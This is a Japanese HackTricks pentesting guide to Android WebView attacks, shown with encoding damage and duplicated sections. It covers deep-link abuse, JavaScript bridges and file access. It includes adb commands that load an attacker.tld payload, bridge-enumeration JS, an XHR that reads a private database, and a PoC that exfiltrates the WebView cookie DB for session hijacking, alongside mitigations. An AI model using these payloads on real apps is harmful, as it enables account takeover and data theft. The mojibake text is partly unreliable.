WebView æ»æ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
WebView ã®èšå®ãšã»ãã¥ãªãã£ã«é¢ããã¬ã€ã
WebView ã®è匱æ§ã®æŠèŠ
Android éçºã«ãããŠéèŠãªç¹ã®äžã€ã¯ãWebView ã®æ£ããæ±ãã§ããæ¬ã¬ã€ãã¯ãWebView 䜿çšã«äŒŽããªã¹ã¯ã軜æžããããã®äž»èŠãªèšå®ãšã»ãã¥ãªãã£å®è·µã瀺ããŸãã
.png)
WebViews ã«ããããã¡ã€ã«ã¢ã¯ã»ã¹
ããã©ã«ãã§ãWebViews ã¯ãã¡ã€ã«ã¢ã¯ã»ã¹ãèš±å¯ããŸãããã®æ©èœã¯ setAllowFileAccess() ã¡ãœããã§å¶åŸ¡ãããAndroid API level 3 (Cupcake 1.5) 以éã§å©çšå¯èœã§ããandroid.permission.READ_EXTERNAL_STORAGE ããŒããã·ã§ã³ãæã€ã¢ããªã¯ãfile URL ã¹ããŒã ïŒfile://path/to/fileïŒã䜿ã£ãŠå€éšã¹ãã¬ãŒãžã®ãã¡ã€ã«ãèªã¿åãããšãã§ããŸãã
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: ãã®éæšå¥šæ©èœã¯ file URL ããã®ã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ããèš±å¯ããŠãããæœåšç㪠XSS æ»æã®åå ãšãªãé倧ãªã»ãã¥ãªãã£ãªã¹ã¯ãæ±ããŠããŸãããAndroid Jelly Bean 以éãã¿ãŒã²ããã«ããã¢ããªã§ã¯ããã©ã«ãã§ç¡å¹ïŒ
falseïŒã§ãã - ãã®èšå®ã確èªããã«ã¯
getAllowUniversalAccessFromFileURLs()ã䜿çšããŸãã - ãã®èšå®ã倿Žããã«ã¯
setAllowUniversalAccessFromFileURLs(boolean)ã䜿çšããŸãã - File Access From File URLs: ãã¡ããéæšå¥šã§ãä»ã® file ã¹ããŒã URL ããã®ã³ã³ãã³ãã¢ã¯ã»ã¹ãå¶åŸ¡ããŠããŸãããUniversal Access åæ§ãã»ãã¥ãªãã£åŒ·åã®ããããã©ã«ãã¯ç¡å¹ã§ãã
- 確èªã«ã¯
getAllowFileAccessFromFileURLs()ã䜿çšããèšå®ã«ã¯setAllowFileAccessFromFileURLs(boolean)ã䜿çšããŸãã
å®å šãªãã¡ã€ã«èªã¿èŸŒã¿
ãã¡ã€ã«ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãç¡å¹ã«ãã€ã€ãassets ã resources ãžã®ã¢ã¯ã»ã¹ãç¶æãããå Žå㯠setAllowFileAccess() ã䜿çšããŸããAndroid R 以éã§ã¯ããã©ã«ã㯠false ã§ãã
getAllowFileAccess()ã§ç¢ºèªã§ããŸããsetAllowFileAccess(boolean)ã§æå¹ïŒç¡å¹ãåãæ¿ããŸãã
WebViewAssetLoader
WebViewAssetLoader ã¯ã©ã¹ã¯ããŒã«ã«ãã¡ã€ã«ãèªã¿èŸŒãããã®çŸä»£çãªã¢ãããŒãã§ããããŒã«ã«ã® assets ã resources ãžã¯ http(s) URL ãçšããŠã¢ã¯ã»ã¹ããSame-Origin ããªã·ãŒã«æ²¿ããã CORS ã®ç®¡çã容æã«ãªããŸãã
loadUrl
ãã㯠WebView ã§ä»»æã® URL ãèªã¿èŸŒãéã«ãã䜿ããã颿°ã§ãïŒ
webview.loadUrl("<url here>")
ãã¡ãããæœåšçãªæ»æè ãã¢ããªã±ãŒã·ã§ã³ãèªã¿èŸŒãURLãå¶åŸ¡ã§ããŠã¯ãªããŸããã
JavaScript ãš Intent ã¹ããŒã ã®åŠç
- JavaScript: WebViewsã§ã¯ããã©ã«ãã§ç¡å¹ã«ãªã£ãŠããã
setJavaScriptEnabled()ã§æå¹åã§ããŸããé©åãªä¿è·ãªãã«JavaScriptãæå¹ã«ãããšã»ãã¥ãªãã£è匱æ§ãæãå¯èœæ§ãããããæ³šæãå¿ èŠã§ãã - Intent ã¹ããŒã : WebViewsã¯
intentã¹ããŒã ãæ±ãããšãã§ããæ éã«ç®¡çãããªããšãšã¯ã¹ããã€ãã«ã€ãªããå¯èœæ§ããããŸããäŸãšããŠãå ¬éãããWebViewãã©ã¡ãŒã¿ âsupport_urlâ ãæªçšãããcross-site scripting (XSS) æ»æãå®è¡ãããè匱æ§ããããŸããã
.png)
adb ã䜿ã£ãæªçšäŸ:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Android 㯠WebView å
ã® JavaScript ã ãã€ãã£ã㪠Android ã¢ããªã®æ©èœ ãåŒã³åºããæ©èœãæäŸããŸãããã㯠addJavascriptInterface ã¡ãœãããå©çšããŠå®çŸãããJavaScript ãšãã€ãã£ã㪠Android æ©èœãçµ±åããããããã WebView JavaScript bridge ã§ãããã®ã¡ãœãã㯠WebView å
ã®ãã¹ãŠã®ããŒãžãç»é²ããã JavaScript Interface ãªããžã§ã¯ãã«ã¢ã¯ã»ã¹ã§ããããããããã®ã€ã³ã¿ãŒãã§ãŒã¹ãéããŠæ©å¯æ
å ±ãé²åºãããšã»ãã¥ãªãã£ãªã¹ã¯ã«ãªããŸããæ³šæãå¿
èŠã§ãã
- ç¹ã«æ³šæãå¿ èŠã§ã: Android versions below 4.2 ãã¿ãŒã²ãããšããã¢ããªã¯ãreflection ãæªçšãã malicious JavaScript ã«ãã remote code execution ãèš±ãè匱æ§ãããããã
JavaScript Bridge ã®å®è£
- JavaScript interfaces ã¯ãã€ãã£ãã³ãŒããšããåãã§ããã¯ã©ã¹ã®ã¡ãœããã JavaScript ã«å ¬éãããäŸã®ããã«åäœããŸã:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 㯠WebView ã«ã€ã³ã¿ãŒãã§ãŒã¹ã远å ããããšã§æå¹ã«ãªããŸã:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript ãéããæœåšçãªæªçšïŒäŸãã° XSS attack ã«ããïŒã¯ãå ¬éãããŠãã Java methods ã®åŒã³åºããå¯èœã«ããŸã:
<script>
alert(javascriptBridge.getSecret())
</script>
- ãªã¹ã¯ã軜æžããããã«ãJavaScript bridge ã®äœ¿çšã APK ã«å«ãŸããã³ãŒãã«éå®ãããªã¢ãŒããœãŒã¹ããã® JavaScript ã®èªã¿èŸŒã¿ãé²ãã§ãã ãããå€ãããã€ã¹ã§ã¯ãminimum API level ã 17 ã«èšå®ããŠãã ããã
Reflection-based Remote Code Execution (RCE)
- ææžåãããæ¹æ³ã«ãããç¹å®ã®ãã€ããŒããå®è¡ããããšã§ reflection ã«ãã RCE ãéæã§ããŸãããããã
@JavascriptInterfaceã¢ãããŒã·ã§ã³ã¯äžæ£ãªã¡ãœããã¢ã¯ã»ã¹ãé²ããæ»æé¢ãéå®ããŸãã
Remote Debugging
- Remote debugging 㯠Chrome Developer Tools ã«ãã£ãŠå¯èœã§ãWebView ã³ã³ãã³ãå ã§ã®å¯Ÿè©±ããã³ä»»æã® JavaScript å®è¡ãå¯èœã«ããŸãã
Enabling Remote Debugging
- Remote debugging ã¯ã¢ããªã±ãŒã·ã§ã³å ã®ãã¹ãŠã® WebView ã«å¯ŸããŠæ¬¡ã®æ¹æ³ã§æå¹åã§ããŸãïŒ
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- ã¢ããªã±ãŒã·ã§ã³ã® debuggable ç¶æ ã«å¿ããŠãããã°ãæ¡ä»¶ä»ãã§æå¹ã«ããã«ã¯:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
ä»»æã®ãã¡ã€ã«ãå€éšã«éä¿¡ãã
- XMLHttpRequest ã䜿çšããŠä»»æã®ãã¡ã€ã«ãå€éšã«éä¿¡ããæ¹æ³ã瀺ãïŒ
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview æ»æ
Guide on WebView Configurations and Security
Overview of WebView Vulnerabilities
Android éçºã«ãããŠéèŠãªã®ã¯ WebViews ãæ£ããæ±ãããšã§ããæ¬ã¬ã€ãã§ã¯ãWebView å©çšã«äŒŽããªã¹ã¯ã軜æžããããã®äž»èŠãªèšå®ãšã»ãã¥ãªãã£å¯Ÿçã解説ããŸãã
.png)
File Access in WebViews
ããã©ã«ãã§ã¯ãWebViews ã¯ãã¡ã€ã«ã¢ã¯ã»ã¹ãèš±å¯ããŸãããã®æ©èœã¯ setAllowFileAccess() ã¡ãœããã§å¶åŸ¡ãããAndroid API level 3 (Cupcake 1.5) ããå©çšå¯èœã§ããandroid.permission.READ_EXTERNAL_STORAGE æš©éãæã€ã¢ããªã¯ãfile URL ã¹ããŒã ïŒfile://path/to/fileïŒã䜿çšããŠå€éšã¹ãã¬ãŒãžã®ãã¡ã€ã«ãèªã¿åããŸãã
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs: ãã®éæšå¥šæ©èœã¯ãfile URL ããã®ã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ããèš±å¯ããŠããŸãããããã«ãã XSS æ»æã®å±éºæ§ãé«ãŸããé倧ãªã»ãã¥ãªãã£ãªã¹ã¯ãæããŸããAndroid Jelly Bean 以éãã¿ãŒã²ãããšããã¢ããªã§ã¯ããã©ã«ãã§ç¡å¹ïŒ
falseïŒã§ãã - To check this setting, use
getAllowUniversalAccessFromFileURLs(). - To modify this setting, use
setAllowUniversalAccessFromFileURLs(boolean). - File Access From File URLs: ãã®æ©èœãéæšå¥šã§ãä»ã® file ã¹ããŒã URL ããã®ã³ã³ãã³ããžã®ã¢ã¯ã»ã¹ãå¶åŸ¡ããŠããŸãããuniversal access ãšåæ§ã«ãã»ãã¥ãªãã£åŒ·åã®ããããã©ã«ãã¯ç¡å¹ã§ãã
- Use
getAllowFileAccessFromFileURLs()to check andsetAllowFileAccessFromFileURLs(boolean)to set.
Secure File Loading
ãã¡ã€ã«ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãç¡å¹ã«ãã€ã€ assets ã resources ãžã¢ã¯ã»ã¹ããå Žåã¯ãsetAllowFileAccess() ã䜿çšããŸããAndroid R 以éã§ã¯ããã©ã«ãã false ã§ãã
- Check with
getAllowFileAccess(). - Enable or disable with
setAllowFileAccess(boolean).
WebViewAssetLoader
The WebViewAssetLoader class ã¯ããŒã«ã«ãã¡ã€ã«èªã¿èŸŒã¿ã®çŸä»£çã¢ãããŒãã§ããããŒã«ã«ã® assets ã resources ãžã¯ http(s) URLs ãçšããŠã¢ã¯ã»ã¹ããSame-Origin policy ã«æºæ ãããã CORS ã®ç®¡çã容æã«ãªããŸãã
loadUrl
ãã㯠WebView ã§ä»»æã® URL ãèªã¿èŸŒãããã«äžè¬çã«äœ¿çšããã颿°ã§ã:
webview.loadUrl("<url here>")
ãã¡ãããæœåšçãªæ»æè ãã¢ããªã±ãŒã·ã§ã³ãèªã¿èŸŒãããšããŠããURLãå¶åŸ¡ã§ããŠã¯ãããŸããã
internal WebView ãžã® Deep-linking (custom scheme â WebView sink)
å€ãã®ã¢ããªã¯ user-supplied URL ã in-app WebView ã«ã«ãŒãã£ã³ã°ãã custom schemes/paths ãç»é²ããŸããdeep link ã exported (VIEW + BROWSABLE) ã®å Žåãæ»æè ã¯ã¢ããªã«ä»»æã® remote content ããã® WebView ã³ã³ããã¹ãå ã§ã¬ã³ããªã³ã°ãããããšãã§ããŸãã
å žåç㪠manifest ãã¿ãŒã³ïŒç°¡ç¥åïŒïŒ
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
äžè¬çãªã³ãŒããããŒïŒç°¡ç¥åïŒ:
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
adbçµç±ã®æ»æãã¿ãŒã³ãšPoC:
# Template â force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
圱é¿: ãªã¢ãŒãããŒãžã¯ã¢ããªã®WebViewã³ã³ããã¹ãã§å®è¡ãããïŒcookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settingsïŒã
調æ»ã®ãã³ã:
- éã³ã³ãã€ã«ããããœãŒã¹ãGrepããŠ
getQueryParameter("url")ãloadUrl(ãWebViewsinksãããã³ deep-link handlersïŒonCreate/onNewIntentïŒãæ¢ãã - ãããã§ã¹ãã確èªããåŸã§WebViewãèµ·åããActivityã«ãããã³ã°ããã VIEW+BROWSABLE ãã£ã«ã¿ã custom schemes/hosts ããã§ãã¯ããã
- è€æ°ã® deep-link ãã¹ïŒäŸ: âexternal browserâ ãã¹ vs. âinternal webviewâ ãã¹ïŒããããã確èªããã¢ããªå ã§ã¬ã³ããªã³ã°ãããæ¹ãåªå ããã
æ€èšŒåã« JavaScript ãæå¹åããïŒãã§ãã¯é ãã°ïŒ
ããããããŒããã³ã°ã®ãã¹ã¯ã察象URLã®æçµçãªèš±å¯ãªã¹ã/æ€èšŒãå®äºããåã« JavaScript ãæå¹åãããç·©ã WebView èšå®ãé©çšãããããããšã§ããæ€èšŒããã«ããŒéã§äžè²«ããŠããªããé ãããå Žåãæ»æè ã® deep link ãæ¬¡ã®ç¶æ ã«å°éããå¯èœæ§ããããŸã:
- WebView ã®èšå®ãé©çšãããïŒäŸ:
setJavaScriptEnabled(true)ïŒãããã³ - ä¿¡é ŒãããŠããªã URL ã JavaScript æå¹ã§èªã¿èŸŒãŸããã
ãã°ã®ãã¿ãŒã³ïŒæ¬äŒŒã³ãŒãïŒ:
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late â JS already enabled
// 4) Load
webView.loadUrl(u.toString());
ãªãæªçšå¯èœã
- æ£èŠåã®äžäžèŽ: ãã«ããŒãURLãåå²/åæ§ç¯ããæ¹æ³ãæçµãã§ãã¯ãšç°ãªããæªæã®ããURLãæªçšã§ããäžäžèŽãçãã
- åŠçé åºã®èª€ã: ã¹ããã2ã§JSãæå¹ã«ãããšWebViewã€ã³ã¹ã¿ã³ã¹å šäœã«é©çšãããåŸã§æ€èšŒã«å€±æããŠãæçµããŒãã«åœ±é¿ãäžããã
ãã¹ãæ¹æ³
- åæãã§ãã¯ãééããŠWebViewã®èšå®ç®æã«å°éããdeep-linkãã€ããŒããäœæããã
- adbã䜿çšããŠãããªããå¶åŸ¡ãã
url=ãã©ã¡ãŒã¿ãæž¡ãimplicit VIEW intentsãéåºãã:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
exploitationãæåãããšãpayloadã¯ã¢ããªã®WebViewå ã§JavaScriptãå®è¡ããŸããããããexposed bridgesã®æç¡ã調ã¹ãŸã:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
é²åŸ¡ã®æé
- äžåºŠæ£èŠåããåäžã®ä¿¡é Œã§ãããœãŒã¹ïŒscheme/host/path/queryïŒã«å¯ŸããŠå³å¯ã«æ€èšŒããã
- ãã¹ãŠã® allowlist ãã§ãã¯ãéããä¿¡é Œã§ããã³ã³ãã³ããèªã¿èŸŒãçŽåã«ã®ã¿
setJavaScriptEnabled(true)ãåŒã³åºãã - ä¿¡é ŒãããŠããªããªãªãžã³ã«
@JavascriptInterfaceãå ¬éããã®ã¯é¿ãããªãªãžã³ããšã®å¶åŸ¡ãåªå ããã - ä¿¡é Œãããã³ã³ãã³ããšä¿¡é ŒãããŠããªãã³ã³ãã³ãã«å¯ŸããŠãããã©ã«ãã§ JS ãç¡å¹ã«ãã per-WebView ã€ã³ã¹ã¿ã³ã¹ãæ€èšããã
JavaScript ãš Intent Scheme ã®åŠç
- JavaScript: WebView ã§ã¯ããã©ã«ãã§ç¡å¹ã§ã
setJavaScriptEnabled()ã§æå¹ã«ã§ãããé©åãªå¯Ÿçãªãã« JavaScript ãæå¹ã«ãããšã»ãã¥ãªãã£è匱æ§ãæãæããããããæ³šæãå¿ èŠã - Intent Scheme: WebView ã¯
intentã¹ããŒã ãåŠçã§ããé©åã«ç®¡çããªããšæªçšã«ã€ãªããå¯èœæ§ããããããè匱æ§ã®äŸã§ã¯ãå ¬éããã WebView ãã©ã¡ãŒã¿ âsupport_urlâ ãæªçšãããã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã° (XSS) æ»æãå®è¡ãããå¯èœæ§ããã£ãã
.png)
adb ã䜿çšããæªçšã®äŸ:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Androidã¯ãWebViewå
ã® JavaScript ããã€ãã£ããªAndroidã¢ããªã®æ©èœãåŒã³åºããæ©èœãæäŸããŸãããã㯠addJavascriptInterface ã¡ãœãããå©çšããŠå®çŸãããJavaScriptããã€ãã£ããªAndroidæ©èœãšçµ±åãããã®ã§ãWebView JavaScript bridge ãšåŒã°ããŸãããã®ã¡ãœããã¯WebViewå
ã®ãã¹ãŠã®ããŒãžããç»é²ããã JavaScript Interface ãªããžã§ã¯ãã«ã¢ã¯ã»ã¹ã§ããããããããã®ã€ã³ã¿ãŒãã§ãŒã¹ãéããŠæ©å¯æ
å ±ãé²åºãããšã»ãã¥ãªãã£ãªã¹ã¯ã«ãªããŸãã®ã§æ³šæãå¿
èŠã§ãã
- Android 4.2æªæºãã¿ãŒã²ããã«ããã¢ããªã§ã¯ãæªæã®ãã JavaScript ã reflection ãæªçšããŠãªã¢ãŒãã³ãŒãå®è¡ãåŒãèµ·ããè匱æ§ããããããç¹ã«æ³šæãå¿ èŠã§ãã
Implementing a JavaScript Bridge
- JavaScript interfaces ã¯ãã€ãã£ãã³ãŒããšçžäºäœçšã§ããã¯ã©ã¹ã®ã¡ãœããã JavaScript ã«å ¬éãããŠããäŸã®ããã«åäœããŸã:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 㯠WebView ã«ã€ã³ã¿ãŒãã§ãŒã¹ã远å ããããšã§æå¹ã«ãªããŸã:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- JavaScript ãä»ããæœåšçãªæªçšïŒããšãã° XSS æ»æã«ãã£ãŠïŒã¯ãå ¬éããã Java ã¡ãœããã®åŒã³åºããå¯èœã«ããŸã:
<script>
alert(javascriptBridge.getSecret())
</script>
- ãªã¹ã¯ã軜æžãããããJavaScript bridge 䜿çšã APK ã«å梱ãããã³ãŒãã«éå®ãããªã¢ãŒããœãŒã¹ããã® JavaScript ã®èªã¿èŸŒã¿ãé²ãã§ãã ãããå€ãããã€ã¹ã§ã¯ minimum API level ã 17 ã«èšå®ããŠãã ããã
dispatcher-style JS ããªããžã®æªçš (invokeMethod/handlerName)
äžè¬çãªãã¿ãŒã³ã¯ãåäžã®ãšã¯ã¹ããŒããããã¡ãœããïŒäŸ: @JavascriptInterface void invokeMethod(String json)ïŒããæ»æè
å¶åŸ¡ã® JSON ãæ±çšãªããžã§ã¯ãã«ãã·ãªã¢ã©ã€ãºããæäŸããã handler name ã«åºã¥ããŠãã£ã¹ãããããããšãããã®ã§ããå
žåç㪠JSON 圢åŒ:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
ãªã¹ã¯: ç»é²ããããã³ãã©ãæ»æè
ããŒã¿ã«å¯ŸããŠç¹æš©æäœãè¡ãïŒäŸ: çŽæ¥ãã¡ã€ã«èªã¿åãïŒå ŽåãhandlerName ãé©åã«èšå®ããŠåŒã³åºãããšãã§ããŸããçµæã¯éåžžãevaluateJavascript ããã³ callbackId ã§ããŒä»ããããã³ãŒã«ããã¯/Promise æ©æ§ãä»ããŠããŒãžã³ã³ããã¹ãã«è¿ãããŸãã
Key hunting steps
- éã³ã³ãã€ã«ããŠ
addJavascriptInterface(ã grep ããããªããžãªããžã§ã¯ãåïŒäŸ:xbridgeïŒã確èªããã - Chrome DevTools (chrome://inspect) ã® Console ã«ããªããžãªããžã§ã¯ãåãå
¥åïŒäŸ:
xbridgeïŒããŠå ¬éãããŠãããã£ãŒã«ã/ã¡ãœãããåæãããinvokeMethodã®ãããªæ±çšãã£ã¹ãããã£ãæ¢ãã getModuleName()ãå®è£ ããŠããã¯ã©ã¹ãç»é²ããããæ€çŽ¢ããŠãã³ãã©ãåæããã
Arbitrary file read via URI â File sinks (Base64 exfiltration)
ãã³ãã©ã URI ãåãåããUri.parse(req.getUri()).getPath() ãåŒã³åºããnew File(...) ãäœæããŠèš±å¯ãªã¹ãããµã³ãããã¯ã¹ãã§ãã¯ãªãã«èªã¿åãå Žåãã¢ããªã®ãµã³ãããã¯ã¹å
ã§ä»»æã®ãã¡ã€ã«èªã¿åããå¯èœã«ãªããsetAllowFileAccess(false) ã®ãã㪠WebView èšå®ãåé¿ããŸãïŒèªã¿åãã¯ãã€ãã£ãã³ãŒãã§è¡ãããWebView ã®ãããã¯ãŒã¯ã¹ã¿ãã¯çµç±ã§ã¯ãããŸããïŒã
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
Notes
- Cookie DB paths vary across devices/providers. Common ones:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- The handler returns Base64; decode to recover cookies and impersonate the user in the appâs WebView profile.
Detection tips
- Watch for large Base64 strings returned via
evaluateJavascriptwhen using the app. - Grep decompiled sources for handlers that accept
uri/pathand convert them tonew File(...).
WebView æš©éã²ãŒãã®ãã€ãã¹ â endsWith() ã«ãããã¹ããã§ãã¯
æš©éã®æ±ºå®ïŒJSB-enabled Activity ã®éžæãªã©ïŒã¯ãã°ãã°ãã¹ãã®èš±å¯ãªã¹ãã«äŸåããŸããæ¬ é¥ã®ãããã¿ãŒã³ã¯æ¬¡ã®ãããªãã®ã§ã:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true â open privileged WebView
ç䟡è«çïŒãã»ã¢ã«ã¬ã³ã®æ³åïŒ:
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
ããã¯ãªãªãžã³ãã§ãã¯ã§ã¯ãããŸãããå€ãã®æå³ããªããã¹ãã第äºã®æ¡ä»¶ãæºãããä¿¡é Œã§ããªããã¡ã€ã³ãç¹æš©ç㪠Activity ã«éããŠããŸããŸããscheme ãš host ã¯å³å¯ãª allowlistïŒå®å
šäžèŽãŸãã¯ãããå¢çãçšããæ£ãããµããã¡ã€ã³ãã§ãã¯ïŒã«ç
§ãããŠåžžã«æ€èšŒããŠãã ãããendsWith ã®ãããªããªãã¯ã¯é¿ããŠãã ããã
javascript:// å®è¡ããªããã£ãïŒloadUrl çµç±ïŒ
ç¹æš©ç㪠WebView ã«å ¥ã£ãããã¢ããªã¯æãšããŠæ¬¡ã®ããã«ããŠã€ã³ã©ã€ã³ JS ãå®è¡ããŸã:
webView.loadUrl("javascript:" + jsPayload);
ãããã®ã³ã³ããã¹ãã§å
éšãããŒã loadUrl("javascript:...") ãããªã¬ãŒãããšãå€éšããŒãžãéåžžã¯èš±å¯ãããªãå Žåã§ããæ³šå
¥ãããJS㯠bridge access ã§å®è¡ãããŸããPentest steps:
- ã¢ããªå
ã§
loadUrl("javascript:ãševaluateJavascript(ãgrepããã - permissive deep link chooser ãå©çšããŠç¹æš©ä»ãWebViewãžã®ããã²ãŒã·ã§ã³ã匷å¶ãããããã®ã³ãŒããã¹ã«å°éã§ããã詊ãã
- ãã®ããªããã£ãã䜿ã£ãŠãã£ã¹ãããã£ãŒïŒ
xbridge.invokeMethod(...)ïŒãåŒã³åºããæ©å¯ãã³ãã©ã«å°éããã
Mitigations (developer checklist)
- Strict origin verification for privileged Activities: ã¹ããŒã /ãã¹ããæ£èŠåããŠæç€ºç㪠allowlist ãšæ¯èŒããã
endsWithããŒã¹ã®ãã§ãã¯ã¯é¿ãããé©çšå¯èœãªå Žå㯠Digital Asset Links ãæ€èšããã - Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
- filesystem-capable handlers ãåé€ãããå³éã«ä¿è·ãããçã®
file://ãã¹ããcontent://ã allowlists/permissions ãšçµã¿åãããŠäœ¿ãããšãæšå¥šããã - ç¹æš©ã³ã³ããã¹ãã§ã¯
loadUrl("javascript:")ãé¿ãããã匷åãªãã§ãã¯ã§å¶éããã setAllowFileAccess(false)㯠bridge çµç±ã®ãã€ãã£ããªãã¡ã€ã«èªã¿åãããä¿è·ããªãããšãå¿ããªãã
JSB enumeration and debugging tips
- Chrome DevTools Console ã䜿ãããã« WebView ã®ãªã¢ãŒããããã°ãæå¹ã«ããïŒ
- ã¢ããªåŽïŒãããã°ãã«ãïŒ:
WebView.setWebContentsDebuggingEnabled(true) - ã·ã¹ãã åŽ: LSPosed ã®ãããªã¢ãžã¥ãŒã«ã Frida ã¹ã¯ãªããã§ããªãªãŒã¹ãã«ãã§ããããã°ã匷å¶çã«æå¹åã§ãããCordova WebViews åãã® Frida ã¹ããããã®äŸ: cordova enable webview debugging
- DevTools ã§ bridge ãªããžã§ã¯ãåïŒäŸ:
xbridgeïŒãå ¥åãããšãå ¬éã¡ã³ãã確èªããããã£ã¹ãããã£ãŒãæ¢æ»ã§ããã
Reflection-based Remote Code Execution (RCE)
- ããã¥ã¡ã³ãåãããææ³ã§ã¯ãç¹å®ã®ãã€ããŒããå®è¡ããããšã§ reflection ãéã㊠RCE ãéæã§ããããã ã
@JavascriptInterfaceã¢ãããŒã·ã§ã³ã¯æªæ¿èªã®ã¡ãœããã¢ã¯ã»ã¹ãé²ããæ»æé¢ãéå®ããã
Remote Debugging
- Remote debugging 㯠Chrome Developer Tools ã§å¯èœã§ãWebView ã³ã³ãã³ãå ã§ã®å¯Ÿè©±ãä»»æã® JavaScript å®è¡ãå¯èœã«ããã
Enabling Remote Debugging
- ã¢ããªå ã®ãã¹ãŠã® WebView ã«å¯ŸããŠãªã¢ãŒããããã°ãæå¹ã«ããã«ã¯ïŒ
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- ã¢ããªã±ãŒã·ã§ã³ã® debuggable ç¶æ ã«åºã¥ããŠãããã°ãæ¡ä»¶ä»ãã§æå¹ã«ãã:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
ä»»æã®ãã¡ã€ã«ãå€éšã«æã¡åºã
- XMLHttpRequestã䜿çšããŠä»»æã®ãã¡ã€ã«ãå€éšã«æã¡åºããã¢ïŒ
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView XSS via Intent extras â loadData()
ããããè匱æ§ã¯ãå€éšããæž¡ããã Intent ã® extra ã«å«ãŸããæ»æè
å¶åŸ¡ã®ããŒã¿ãèªã¿åããJavaScript ãæå¹ãªç¶æ
ã§ loadData() ã䜿ã£ãŠçŽæ¥ WebView ã«æ³šå
¥ããããšã§ãã
Vulnerable pattern (exported Activity reads extra and renders it as HTML):
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
